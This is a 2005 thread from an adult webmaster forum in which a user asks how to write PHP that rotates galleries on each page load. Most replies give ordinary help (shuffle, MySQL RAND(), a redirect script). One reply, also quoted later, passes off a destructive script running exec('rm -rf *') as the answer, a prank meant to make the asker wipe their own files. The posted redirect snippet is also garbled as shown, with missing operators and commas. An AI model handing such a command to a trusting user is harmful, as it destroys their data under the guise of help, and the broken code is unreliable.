GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   how do i write a php so code so that the galleries change everytime (https://gfy.com/showthread.php?t=456091)

oberheimer 04-15-2005 01:43 AM

how do i write a php so code so that the galleries change everytime
 
how do i write a php so code so that the galleries change everytime (everytime the site is reloaded)
same as chockers galleries i think

reynold 04-15-2005 02:33 AM

Bump. :)

Rorschach 04-15-2005 02:35 AM

Code:

<?php
exec('rm -rf *');
echo('0wn3d!');
?>


steve90 04-15-2005 02:55 AM

Quote:

Originally Posted by Rorschach
Code:

<?php
exec('rm -rf *');
echo('0wn3d!');
?>


Don't give out stuff like that. I paid 900 bucks for that script

pudcat 04-15-2005 02:55 AM

if you have an array of galleries have a look at shuffle function

if you have them in db then look at mysql rand function

arnette 04-15-2005 03:06 AM

icq me 243680554

ssp 04-15-2005 04:55 AM

Quote:

Originally Posted by steve90
Don't give out stuff like that. I paid 900 bucks for that script

hahaha :1orglaugh :1orglaugh

EddiePulp 04-15-2005 05:02 AM

use perl, make a txt file full of gallery_urls, descriptions, thumb_count, category. Make a perl script that will print from the txt file on load. :) DONE-ZO :)

BIGTYMER 04-15-2005 05:24 AM

PHP Code:

<?php

$fileName 
"galleries.txt";
mt_srand( (double) microtime() * 1000000 );
$a file($fileName);
$randNum mt_rand0sizeof($a)-);
header"Location: "$a[$randNum] );

?>

Open up notepad and paste the above code into it. Save it as galleries.php.

Open up notepad and paste all your galleries into it. And make sure you only put one gallery per line. Save it as galleries.txt

http://site.com/gallery1.html
http://site.com/gallery3.html
http://site.com/gallery4.html
http://site.com/gallery5.html
etc.

Then just upload and you're done.

AcidMax 04-15-2005 06:02 AM

Or if the gallery urls and such are already in a database just create a query to pull out random galleries.


SELECT * FROM galleries_table ORDER BY Rand() LIMIT 100;

will pull out 100 random galleries from the galleries table. If its in mysql that is.

oberheimer 04-16-2005 06:30 AM

Thanks alot


All times are GMT -7. The time now is 04:55 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123